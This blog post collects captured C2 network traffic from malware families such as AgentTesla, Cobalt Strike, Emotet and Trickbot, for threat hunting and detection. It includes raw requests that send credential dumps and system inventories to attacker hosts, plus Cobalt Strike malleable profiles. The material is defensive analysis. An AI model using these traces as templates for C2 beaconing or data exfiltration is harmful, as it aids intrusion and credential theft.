C2 Traffic Patterns: Personal Notes

marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

View all posts by marcoramilli January 9, 2021

Detection is a key point in threat hunting. During the past few weeks, stright in the middle of the winter “holidays” (well, maybe if you live in a place where no COVID-19 lockdown was involved), many people re/started a studying program on cybersecurity. Some of them wrote to me asking if there is a way to detect common malware infections through network traces. So I thought it was a nice idea to share some personal and quick notes on that topic.

BTW The short answer is: Yes there is a way. So it makes sense to trace Malware traffics for studying purposes, but also to find patterns for network detections in real environments.

First of all you need to build your own laboratory, you might decide to build a dual VM systems, in which VM1 is the victim machine and VM2 is the traffic sniffer or you might decide to have a single victim machine and the main host sniffing and analyzing traffic streams. This is actually my favourite choice: a single MV called “victim” where I detonate malwares and the main host (the real machine in which the victim is virtualized) where the traffic tools are run. You need to create a certificate and manke it trusted from the victim machine in order to facilitate the SSL inspection. But this is not a post on how to build your own laboratory, if you are interested on building your own Malware laboratory the following 2 links are great starting points:

- Christophe wrote a very nice starting post on it: HERE
- Byte-Atlas followed on the topic showung how to harden the machine to reduce Malware Evasion: HERE

After you set up your own laboratory you are ready to start your tracking process. Following some personal notes on my “network traceing days”. Please note the following collection is a mix-up of personal traced network traffic (and already published on gists/reports/repositories/pastebins etc) and the one I found from different friends/posts/reports/repositories as well during the past years.

Traffic Patterns

The following paragraphs describe traffic traces captured by executing in a controlled environment some of the most known malware untill now. Please note that I’ve taken descriptions from Malpedia for reading convenience.

If you think this content is helpful, please consider to make a little donation. It would help me in building and writing additional contributions to community. By donation you will contribute to community as well. Thank you !

AgentTesla

A .NET based keylogger and RAT. Logs keystrokes and the host’s clipboard, it finally beacons this information back to the C2. It has a modular infrastructure, following some of the traffic grabs for the following modules:

HTTP

```
POST /zin/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401
Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: megaplast.co.rs
Content-Length: 308
Expect: 100-continue
Connection: Keep-Alive

HTTP/1.1 100 Continue

p=G1DZYwdIiDZ6V83seaZCmTT0wiCyOlXVS0OEx4YpkUAOuKO/6hfQJ%2BZD2LjpTbyu9w0gudjYXCIc0Ul74w
```

FTP

```
<html>Time: 11/25/2019 17:48:57<br>User Name: admin<br>Computer Name: VICTIM-
PC<br>OSFullName: Microsoft Windows 7 Professional <br>CPU: Intel(R) Core(TM) i5-6400
CPU @ 2.70GHz<br>RAM: 4095.61 MB<br><hr>URL:https://www.facebook.com/<br>
Username:test@test.com<br>
Password:testpassword<br>
Application:Chrome<br>
<hr>
URL:192.168.1.1<br>
Username:test@test.com<br>
Password:testpassword<br>
Application:Outlook<br>
<hr>
</html>
```

SMTP Ex

```
From: office@xxx.]com
To: officelogs@xxx[.]com
Date: 12 Oct 2019 17:58:19 +0100
Subject: admin/VICTIM-PC Recovered Cookies
Content-Type: multipart/mixed;
 boundary=--boundary_0_cac7ba32-e0f8-42d4-8b2e-71d1828e6ff7

----boundary_0_cac7ba32-e0f8-42d4-8b2e-71d1828e6ff7
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: quoted-printable

Time: 10/12/2019 11:58:13<br>UserName: admin<br>ComputerName: VICTI=
M-PC<br>OSFullName: Microsoft Windows 7 Professional <br>CPU: Int=
el(R) Core(TM) i5-6400 CPU @ 2.70GHz<br>RAM: 3583.61 MB<br>IP: 18=
5.183.107.236=0A<hr>
```

Azorult

AZORult is a credential and payment card information stealer. Among other things, version 2 added support for .bit-domains. It has been observed in conjunction with Chthonic as well as being dropped by Ramnit. The following network trace is of one of the most relevant POST action taking back pattern with many “/”

```
POST /index.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)
Host: 51.38.76.57
Content-Length: 103
Cache-Control: no-cache

J/.8/.:/.</.?/.>O.(8.I/.>/.9/.>K.>8.N/.I/.;/.</.;N.>:.NL.?N.>8.(9.L/.8/.
</.4/.4/.I/.?/.>H.(9.(9.(9.(9.I
```

Buer Loader

Buer is a downloader sold on underground forums and used by threat actors to deliver payload malware onto target machines. It has been observed in email campaigns and has been sold as a service since August 2019.

```
GET
/api/update/YzE0MTY2MGIxZWQ5YzJkMDNmMjQ4MDM0Y2RlZWI2MWM1OTEzYWJmZTIwYWE1OWNjZDFlZjM2Zm


HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/60.0.3112.113 Safari/537.36
Host: loood1.top

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 12 Nov 2019 20:00:24 GMT
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive

ODMtMkQtNzItMUMtMEQtOTgtREEtOTAtMzktNjUtREYtNzYtRDktQkYtQkYtNUEtMDUtNEMtRjAtRkMtMjAtQz

/api/download/YzE0MTY2MGIxZWQ5YzJkMDNmMjQ4MDM0Y2RlZWI2MWM1OTEzYWJmZTIwYWE1OWNjZDFlZjM2


HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/60.0.3112.113 Safari/537.36
Host: loood1.top

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 12 Nov 2019 20:00:24 GMT
Content-Type: application/*
Content-Length: 2109952
Connection: keep-alive
Last-Modified: Tue, 12 Nov 2019 19:32:38 GMT
```

```
POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Apple-iPhone7C2/1202.466; U; CPU like Mac OS X; en)
AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543 Safari/419.3
Content-Length: 1046
Host: 162.244.81.87

inekece=MDllNzB&diakwadi=iMzE5OG&xycyad=NiNTYxZTcw&ohxiods=MzA0Yj&akreuq=NmZjUy&qosewy
```

Cobalt Strike

Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named ‘Beacon’ on the victim machine. Beacon includes a wealth of functionality to the attacker, including, but not limited to command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. Beacon is in-memory/file-less, in that it consists of stageless or multi-stage shellcode that once loaded by exploiting a vulnerability or executing a shellcode loader, will reflectively load itself into the memory of a process without touching the disk. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained. Cobalt Strike comes with a toolkit for developing shellcode loaders, called Artifact Kit.

The Beacon implant has become popular amongst targeted attackers and criminal users as it is well written, stable, and highly customizable.

Following a general profile

```
GET /Mdt7 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0; NP06)
Host: 192.168.1.44
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 200 OK
Date: Wed, 16 Nov 2019 02:13:32 GMT
Content-Type: application/octet-stream
Content-Length: 213589

.......
w.z....=..........C.D.'.'Z.2....:1....R..1...1.......1.9.t...^.......3.Q.3.R.~...~....
L^.............................................`.....W...?...O..=...^...1...T...:....

.W.E.3k..a....9..l.T..k...........J......;J.._.k...$......J....h...'..qD

GET /push HTTP/1.1
Accept: */*
Cookie:
TwJl1o2Nzk3+xmC39FsNTbyJPGHyNxllFZ8wZUwR831SYmTwrxoGydXQGF1ej89K1t0rTLgzjd95c8127hlZ6S

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0;
BOIE9;ENXA)
Host: 192.168.1.44
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 200 OK
Date: Wed, 16 Nov 2019 02:017:31 GMT
Content-Type: application/octet-stream
Content-Length: 0
```

Following Amazon C2 profile (from external sources)

```
GET /s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books HTTP/1.1
Host: www.amazon.com
Accept: */*
Cookie: skin=noskin;session-
token=MM4bZQ5WUPUrn7TPQuCWct6G+WGXZaLdezMQVEv8PHnB7tnvTk7ct3W71pQmn2NMJQD7IFbjPnKJV27t
hit=s-24KU11BB82RZSYGJ3BDK|1419899012996
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 200 OK
Date: Fri, 13 Dec 2019 17:48:39 GMT
Server: Server
x-amz-id-1: THKUYEZKCKPGY5T42PZT
x-amz-id-2: a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo=
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
Content-Length: 0
```

Following a safebrowsing profile (from external sources)

```
GET /safebrowsing/ref/eNKSXUTdWXGYAMHYg2df0Ev1wVrA7yp0T-WrSHSB53oha HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip
Host: novote.azureedge.net
Cookie:
PREF=ID=foemmgjicmcnhjlacgackacadbclcmnfoeaeeignjhiphdgidlmahkgbchcahclpfcadjnegckejpi

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/55.0.2883.87 Safari/537.36
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 200 OK
Content-Encoding: gzip
Age: 1609
Alternate-Protocol: 80:quic
Cache-Control: public,max-age=172800
Content-Type: application/vnd.google.safebrowsing-chunk
Date: Fri, 22 Nov 2019 13:34:50 GMT
Server: ECAcc (frb/67BC)
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Length: 82480
```

Danabot

Proofpoints describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social engineering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on "quality over quantity" in email-based threats. DanaBot's modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker.

It looks like TLS traffic, but it really isen't. The matching flag is on "24 01 00 00" pattern and following 24 byte first packet. (external take)

```
00000000  24 01 00 00 00 00 00 00 e5 7c 00 00 00 00 00 00    $....... .|......
00000010  09 7e 00 00 00 00 00 00                            .~......
```

Darkcomet

DarkComet is one of the most famous RATs, developed by Jean-Pierre Lesueur in 2008. After being used in the Syrian civil war in 2011, Lesuer decided to stop developing the trojan. Indeed, DarkComet is able to enable control over a compromised system through use of a simple graphic user interface. Experts think that this user friendliness is the key of its mass success.

```
BF7CAB464EFBA57DAD495BECB15D8B4C57F0BE821AEF052DF1C27F08DDFC328EB3FE9F5699707BCDC8C751
```

Dridex loader

OxCERT blog describes Dridex as “an evasive, information-stealing malware variant; its goal is to acquire as many credentials as possible and return them via an encrypted tunnel to a Command-and-Control (C&C) server. These C&C servers are numerous and scattered all over the Internet, if the malware cannot reach one server it will try another. For this reason, network-based measures such as blocking the C&C IPs is effective only in the short-term.”
According to MalwareBytes, “Dridex uses an older tactic of infection by attaching a Word document that utilizes macros to install malware. However, once new versions of Microsoft Office came out and users generally updated, such a threat subsided because it was no longer simple to infect a user with this method.”
IBM X-Force discovered “a new version of the Dridex banking Trojan that takes advantage of a code injection technique called AtomBombing to infect systems. AtomBombing is a technique for injecting malicious code into the ‘atom tables’ that almost all versions of Windows uses to store certain application data. It is a variation of typical code injection attacks that take advantage of input validation errors to insert and to execute malicious code in a legitimate process or application. Dridex v4 is the first malware that uses the AtomBombing process to try and infect systems.”

```
GET /function.php?3b3988df-c05b-4fca-93cc-8f82af0e3d2b HTTP/1.1
Host: masteronare.com
Connection: Keep-Alive

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 05 Nov 2019 20:32:12 GMT
Content-Type: application/octet-stream
Content-Length: 455830
Connection: keep-alive
Keep-Alive: timeout=60
Accept-Ranges: bytes
Content-Disposition: attachment; filename=5dc1dc4cd884c.pdf

7Y2FGZnZ2enZ2dnZydnZ2dhgYD3Z2e1B2dnZ2dnZ2dnZmdnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2d

POST / HTTP/1.1
Host: 194.99.22.193
Content-Length: 3442
Connection: Close
Cache-Control: no-cache

..5......[,h?])moo..;.Y..
v..jq..........G.0vR...@ ..6tw..<.{It.y
#l.K..8....v...v......=.+.......Q..v..P5...y...uhTqR.
..v.QoM..o.I.l...>.....p.....Rt...............
```

Emotet

While Emotet historically was a banking malware organized in a botnet, nowadays Emotet is mostly seen as infrastructure as a service for content delivery. For example, since mid 2018 it is used by Trickbot for installs, which may also lead to ransomware attacks using Ryuk, a combination observed several times against high-profile targets.
It is always stealing information from victims but what the criminal gang behind it did, was to open up another business channel by selling their infrastructure delivering additional malicious software. From malware analysts it has been classified into epochs depending on command and control, payloads, and delivery solutions which change over time.

The following trace is an external trace not updated to the last versions

```
POST /mult/tlb/ HTTP/1.1
Referer: http://69.162.169.173/mult/tlb/
Content-Type: application/x-www-form-urlencoded
DNT: 1
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0;
SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC
6.0; .NET4.0C; .NET4.0E)
Host: 69.162.169.173:8080
Content-Length: 468
Connection: Keep-Alive
Cache-Control: no-cache

5Grps=L1sIwg4a7XWGwPpN9LOBzMiBXsZTP33ixo%2FUspmgBLoaYr0K7KnwvoUER9%2B5NzIxpTHgpSTeVRZM


HTTP/1.1 200 OK
Server: nginx
Date: Mon, 07 Oct 2019 13:38:33 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 148
Connection: keep-alive

.^ta.I..Z
.._AJ*..=._...5-...F.L{>...`.c.....~.|.h...@.E...2.Z|U..W..M....b......X.FA....x.....\
{pi.b....Cz......>D..yQ........G.q...4?..
```

Formbook

FormBook is yet another Stealer malware. Like most stealer malware, it performs many operations to evade AV vendors when deploying itself on a victim's machine. And of course as we see with Ursnif, Hancitor, Dridex and other trojans, there are many variants with more than one way to receive the payload.

In the past year the threat actor's favorite method of distributing FormBook has been via malspam and the use of CVE-2017-8570, using an `.RTF` file format with malicious code to exploit this vulnerability.

Patter suggestion. Host name is almast always "www" driven 😉

```
POST /k9m/ HTTP/1.1
Host: www.liuhe127.com
Connection: close
Content-Length: 3769
Cache-Control: no-cache
Origin: http://www.liuhe127.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2;
.NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0;
.NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.liuhe127.com/k9m/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

Sbh=A2oUV0jxRNQErH6gY3lxQtOCTuQwNTdWJ25sTcda3oav(0QcLnkBrePt5vgAKuqyhbAftuJA5G5D2fNVsL
rDGiNGDQ25(b371m2NNnyheUxDNxyL6wr0syvlQ7Qn~DvzJO1j4_01FUfdeQKDmT9nuRD7AXJYaO3DIZnG1RWk
R7b1kP1IZqlFNLuC1ttRMUWPoRYyiYb-
5rzJXywgOQncCVwVXcwH8dkVBf8nIw1doGRbV0yBZciG1vmCQMiyqspdkDVZt-
1KyQhCCDaZWgyx(jUEtrJ5ZzRRfL7eaLGAG1u46ihMFAoJdDXorJcFL051WdJ2wHBfyMv2c9wu1j78lVpEWNkC
8VOoQrg4ItHc4WjdsmkjCk(8A-d-uwY70GE0UXkWhPpg~_8qCqj_XNsXD1Cku4u0im9ibvYCLeQyYDn_FmL-
U7ZNtOIbYeTHchiTz3fwdILdormZDVBuDzJlRACku5YKuqCIZoTnxUBI(iGkeX0da3GEkWCi8MA6nuA390kyWj
hfrK2o9oUsNUWcpZyKA2(9kXBftM3s5lzWT21wBKbcPaiPURUuV4eheOkTBTxTB_mMxCafVVE6yvbJD-
XIpSazCu(sS7~QUEbh6EPrqsB11rhKlRPy39G2rLo6lSMHeGjCmI5Rc80lhtZyFKcqhNYbhwuiEn3uK9CodgYx
zQjldjXnFN~7oKDW3JglzgbK3lzeDK5aRb0HTwohxi8M9lRkTKflhtcr77iOlBVcE6HYSbchngmsBWBgPwA75x
8s54GvC-VC~skS2jG4haG9bxKA6QZqRK4-
2qI5o2U3rNoeQEz_~yMfZ2fQoftvSkgpJfcgjuh3qTOFK8b6OSe5wMnyLdniF_4xN3rO(73lGUB5l60LbBa4TA
VN1M(fSDqNubOVR_8QORONDFaX41G3HYOrWQyQ5Cvd6lAFgWycF3KeaumEH0LEUP7vR3t8CqgQ5VqyDxtKNy0Z
s0qx6mSwAo(Wz67SmWp2X8VI3W4h3M3vf9BggKJQmHp7nLChKFWJWTuEGt43fxqjimz5WaRYtGOcdlH84XYvX9
3R2N(J6V~IGsC8NZIwv0qB~35YLhS9SlyD38(p(pgy9N3fPHO9Gzlzd6D3j74fN-
N89jhcQTClusyQIhdjrYsqWnpi7Of2Hl9zRx(ut-
kFP33A5zYLbDn54f9gg8kH1m(BeKfVXxVtpGLR4VQSBfZzVwPGnUei9aJDZkXwmg0xftRV~S3TxUucpU1d75Pa
0_nqUy(apdab1FJcSzLOVDXJDyOKr5P4px5QpKM1FZgH9mgQQZuo~rlcBi4jISUNx3qv7fwaBZ4KDYuICC1-
KLeFh0i7YEU_njjPm31uzkYLlVxfbhAg6C7Fxcpr5_jzhW~me85m48ifV4C06qNAN5WgIGxJW07CUNAuLx2d4t
HikPS86JBnJXZs8BWrbgm7g8uGrVpnnuHbHuP4p4xAOgYNPDbnpSoXn0kH~vUc1JxLurnAnNWMmYgA5g3fIw7H
R0BRZqcunVVvWy4zwCQ_1brWO78sSQY3WY4Es8kI6nl5hc9k3dhAWgQJWeqVrUGnOyxnf3wP9Tjc3fbhhfMthK
AzxnhL~66T~sQU0SY1ZDTJsdMD9zA8h5A0g71lMEIFSEdczwnvBeXpuEiaX9FOoJQwoIyyq4KmaeML~f5ipBL5
grtNyFbdev6Uyoislno4UJ9J6-
8ag6iZXJd_QI17cAFS4P71bi7ApOh50qN4cNMIQBUTQyriS5BG~os6RMAuoaSUq92eNx12764W~RIGssW6ItGJ
Aic6sgovlTvlWBTFSkikUCmSMDX96nLlTuNiC2BD42WLJfGoZQw4T341YKl3rFShZ24mtmUGThc4k-
k1OxGK1ygo5wLOg_H_Bs9MfxPn3aoIQiBq(XC7l4Xzw2LREItIvFPQXoWU(dxz3g)..
```

IcedID

According to X-Force research, the new banking Trojan emerged in the wild in September 2017, when its first test campaigns were launched. Researchers noted that IcedID has a modular malicious code with modern banking Trojan capabilities comparable to malware such as the Zeus Trojan. At this time, the malware targets banks, payment card providers, mobile services providers, payroll, webmail and e-commerce sites (external take)

```
GET /photo.png?id=0181B9BACBCF308087000000000FF40000001 HTTP/1.1
Connection: Keep-Alive
Host: eurobable.com

HTTP/1.1 200 OK
Server: openresty
Date: Wed, 16 Oct 2019 15:30:33 GMT
Content-Type: application/octet-stream
Content-Length: 605211
Connection: keep-alive
Last-Modified: Tue, 08 Oct 2019 11:43:19 GMT
ETag: "5d9c7657-93c1b"
Accept-Ranges: bytes

.PNG
.
...
IHDR..............N.T....sRGB.........gAMA......a....   pHYs..........o.d.
;.IDATOLrEV.....Le.D|...Rp.{..D...g`...a@.\8,E
.~1Z..X.N...^G.....,f$.c.......ru.#O..'.~.
```

LaZagne

The author described LaZagne as an open source project used to retrieve lots of passwords stored on a local computer. It has been developed for the purpose of finding these passwords for the most commonly-used software. It is written in Python and provided as compiled standalone binaries for Linux, Mac, and Windows.

```
POST /te.php HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------58748130728276
User-Agent: Mozilla/5.0 Gecko/20100115 Firefox/3.6
Host: 192.168.1.44
Content-Length: 1526
Cache-Control: no-cache

-----------------------------58748130728276
Content-Disposition: form-data; name="userfile"; filename="admin-MM-PC-passwords.txt"
Content-Type:application/x-gzip


########## User: admin ##########

------------------- Firefox passwords -----------------

[+] Password found !!!
URL: https://m.facebook.com
Login: test@test.com
Password: testpassword

------------------- Outlook passwords -----------------

[-] Password not found !!!
Account Name: test@test.com.
POP3 User: test@test.com.
POP3 Server: 192.168.1.1.
u'Delivery Store EntryID:
\x00\x00\ua138\u10bb\ue505\u1a10\ubba1\x08\u2a2b\uc256\x00\u736d\u7370\u2e74\u6c64l\x0
 Files\\test@test.com.pst\x00'
SMTP Secure Connection: 0
SMTP Server: 192.168.1.1.
Mini UID: 224868084
'Delivery Folder EntryID: \x00\x00\x00\x00\x81
\xa1\x9f\x92\x06>N\x9c\xc7t\xd9H\xba>f\x82\x80\x00\x00'
u'clsid:
\u457b\u3444\u3537\u3134\u2d31\u3042\u3644\u312d\u4431\u2d32\u4338\u4233\u302d\u3130\u

Display Name: test Mail.
POP3 Password: testpassword.
Email: test@test.com.
u'Leave on Server: \u3139\u3537\u3730'

------------------- Google chrome passwords -----------------

[+] Password found !!!
URL:
Login: test@test.com
Password: testpassword


[+] 3 passwords have been found.
For more information launch it again with the -v option

elapsed time = 2.4423969775
```

```
-----------------------------58748130728276--

HTTP/1.1 200 OK
Date: Tue, 15 Sept 2019 12:08:01 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 1
Content-Type: text/html; charset=UTF-8
```

NetWire

Netwire is a RAT, its functionality seems focused on password stealing and keylogging, but includes remote control capabilities as well. Keylog files are stored on the infected machine in an obfuscated form. Nice to spot in “41 00 00 00 99” pattern on initial packet.

```
00000000  41 00 00 00 99 80 3a e0 e8 5f d7 ea 8c af 76 cc   A.....:. ._....v.
00000010  c4 cc ad 5a 10 72 cc d0 5e 64 d8 50 80 fc b6 e6   ...Z.r.. ^d.P....
00000020  54 25 bf e0 ea 7f 7b e4 ff 54 70 e8 eb c0 fa 80   T%....{. .Tp.....
00000030  a0 a0 f3 a0 b0 0a 94 04 84 31 7c 3f e7 8c 90 c5   ........ .1|?....
00000040  ce c4 11 97 d9                                     .....
```

Ostap

Ostap is a commodity JScript downloader first seen in campaigns in 2016. It has been observed being delivered in ACE archives and VBA macro-enabled Microsoft Office documents. Recent versions of Ostap query WMI to check for a blacklist of running processes.

Following a network trace externally found

```
POST /angola/mabutu.php?pi=29h&tan=cezar&z=662343339&n=0&u=20&an=9468863238 HTTP/1.1
Connection: Keep-Alive
Content-Type: text/plain; Charset=UTF-8
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Content-Length: 1034
Host: 185.180.199.91

Microsoft Windows 7 Professional 6.1.7601*Locale:0409
C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\sent64.jse
USER-PC*DELL*DELL*0

System Idle Process*null
System*null
smss.exe*null
csrss.exe*null
wininit.exe*null
csrss.exe*null
winlogon.exe*null
services.exe*null
lsass.exe*null
lsm.exe*null
svchost.exe*null
svchost.exe*null
svchost.exe*null
svchost.exe*null
svchost.exe*null
svchost.exe*null
svchost.exe*null
spoolsv.exe*null
svchost.exe*null
svchost.exe*null
svchost.exe*null
dwm.exe*C:\Windows\system32\Dwm.exe
explorer.exe*C:\Windows\Explorer.EXE
taskhost.exe*C:\Windows\system32\taskhost.exe
SearchIndexer.exe*null
qemu-ga.exe*null
audiodg.exe*null
WmiPrvSE.exe*null
SearchProtocolHost.exe*null
windanr.exe*C:\Windows\system32\windanr.exe
OSPPSVC.EXE*null
wscript.exe*C:\Windows\system32\wscript.exe
wscript.exe*C:\Windows\system32\wscript.exe
SearchFilterHost.exe*null
WINWORD.EXE*C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
WmiPrvSE.exe*null
```

PlugX

RSA describes PlugX as a RAT (Remote Access Trojan) malware family that is around since 2008 and is used as a backdoor to control the victim's machine fully. Once the device is infected, an attacker can remotely execute several kinds of commands on the affected system.

```
POST /update?wd=b0b9d49c HTTP/1.1
Accept: */*
x-debug: 0
x-request: 0
x-content: 61456
x-storage: 1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1;
Host: 192.168.1.44:8080
Content-Length: 0
Connection: Keep-Alive
Cache-Control: no-cache


............?PEOJNOOBAAHDMKNGELEADFCKBPAEPIONNCMHLMKBJGILHAGFFKEPDECJBOADPHO?
MNBMGLLKAJFIKIPHEGJFOEDDICNBCAHPLOANFMKLPKEJJIOHDGIFNECDHCMBBAG.PKOPNEMJMOLDKIJNIC.bca
JJIOHDOBJEIEIBJJELEADFCKBPAEPIONNCMHLMKBJGILHAGFFKEPDECJBOADPHO?
MNBMGLLKAJFIKIPHEGJFOEDDICNBCAHPLOANFMKLPKEJJIOHDGIFNECDHCMBBAG.PKOPNEMJMOLDKIJNIC.bca
DBCGBLOBDMGFEIEMELEADFCKBPAEPIONNCMHLMKBJGILHAGFFKEPDECJBOADPHO?
MNBMGLLKAJFIKIPHEGJFOEDDICNBCAHPLOANFMKLPKEJJIOHDGIFNECDHCMBBAG.PKOPNEMJMOLDKIJNIC.bca
JJIOHDOBJEIEIBJJELEADFCKBPAEPIONNCMHLMKBJGILHAGFFKEPDECJBOADPHO?
MNBMGLLKAJFIKIPHEGJFOEDDICNBCAHPLOANFMKLPKEJJIOHDGIFNECDHCMBBAG.PKOPNEMJMOLDKIJNIC.bca
servers.net..nstld.verisign-grs..]..A.........  :...Q............?
PEOJNOOBAAHDMKNGELEADFCKBPAEPIONNCMHLMKBJGILHAGFFKEPDECJBOADPHO?
MNBMGLLKAJFIKIPHEGJFOEDDICNBCAHPLOANFMKLPKEJJIOHDGIFNECDHCMBBAG.PKOPNEMJMOLDKIJNIC.bca
servers.net..nstld.verisign-grs..]..2.........  :...Q............?
DBCGBLOBDMGFEIEMELEADFCKBPAEPIONNCMHLMKBJGILHAGFFKEPDECJBOADPHO?
MNBMGLLKAJFIKIPHEGJFOEDDICNBCAHPLOANFMKLPKEJJIOHDGIFNECDHCMBBAG.PKOPNEMJMOLDKIJNIC.bca
servers.net..nstld.verisign-grs..]..2.........  :...Q.


GET /EF003AAB6425775CD949B40C HTTP/1.1
Accept: */*
Cookie: QhTbeUW+YzYYsZWz0PQvBvYIgo8=
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; SLCC2;)
Host: WOUDERFULU.impresstravel.ga
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 203
Server: nginx
Date: Tue, 02 October 2019 17:32:40 GMT
Content-Type: text/html;charset=UTF-8
Content-Length: 660
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Server: ip-172-31-28-245
Set-Cookie: JSESSIONID=4618E9008B004BEE8FE5C81AB063A332; Path=/; HttpOnly
```

Quasar

Quasar RAT is a malware family written in .NET which is used by a variety of attackers. The malware is fully functional and open source, and is often packed to make analysis of the source more difficult. Interesting pattern flag on “40 00 00 00”, 68 data bytes on first packet. (external source)

```
00000000  40 00 00 00 3e 83 58 08 ad d1 05 8d 77 20 53 1f   @...>.X. ....w S.
00000010  dc 2e e8 99 0a f3 f1 bb 3a 8c c2 a1 9d 72 4a 69   ........ :....rJi
00000020  e6 60 97 da 1e 76 87 16 91 f2 1b c4 f4 89 f9 8a   .`...v.. ........
00000030  20 5b 19 e5 7c ae ed f1 b4 5a d2 ce 5f 86 17 20    [..|... .Z.._..
00000040  c6 b3 03 8c
```

SmokeLoader

The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body. The following net trace is an external take

```
POST / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://thankg1.org/
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 299
Host: thankg1.org

..ngl$j.N...$.=\..98h...8..XO.
(3ET]...p1.Z.Q.....GI.1R..j6......NF`&....."5..V.~...#.,w......\N.V`.gI..0&.
.N.Z...%.b.....V..3H....t..6w.....7.0..
..+.........O..`...4..A..wT.F...XM&2.^.Y................E.4     W`.......(.....
<,.zK..>c..^...p......n.z"]....\S,[.
......qV4`..Pu*...8W.........M .h.v.S.:.
```

Trickbot

A financial Trojan believed to be a derivative of Dyre: the bot uses very similar code, web injects, and operational tactics. Has multiple modules including VNC and Socks5 Proxy. Uses SSL for C2 communication.The following trace is an external take.

```
GET https://190.154.203.218:449/trg448/JONATHAN-
PC_W617601.F330EDDF8E877AF892B08D9522EAD4C6/5/spk/
      << 200 OK 224b
GET http://54.225.92.64/
      << 200 OK 12b
GET https://190.154.203.218:449/trg448/JONATHAN-
PC_W617601.F330EDDF8E877AF892B08D9522EAD4C6/0/Windows%207%20x64%20SP1/1075/167.88.7.13

      << 200 OK 937b
GET https://190.154.203.218:449/trg448/JONATHAN-
PC_W617601.F330EDDF8E877AF892B08D9522EAD4C6/14/user/SYSTEM/0/
      << 200 OK
GET https://190.154.203.218:449/trg448/JONATHAN-
PC_W617601.F330EDDF8E877AF892B08D9522EAD4C6/14/path/C:%5CUsers%5CJonathan%5CAppData%5C
```

Ursnif

In 2006, Gozi v1.0 (‘Gozi CRM’ aka ‘CRM’) aka Papras was first observed.
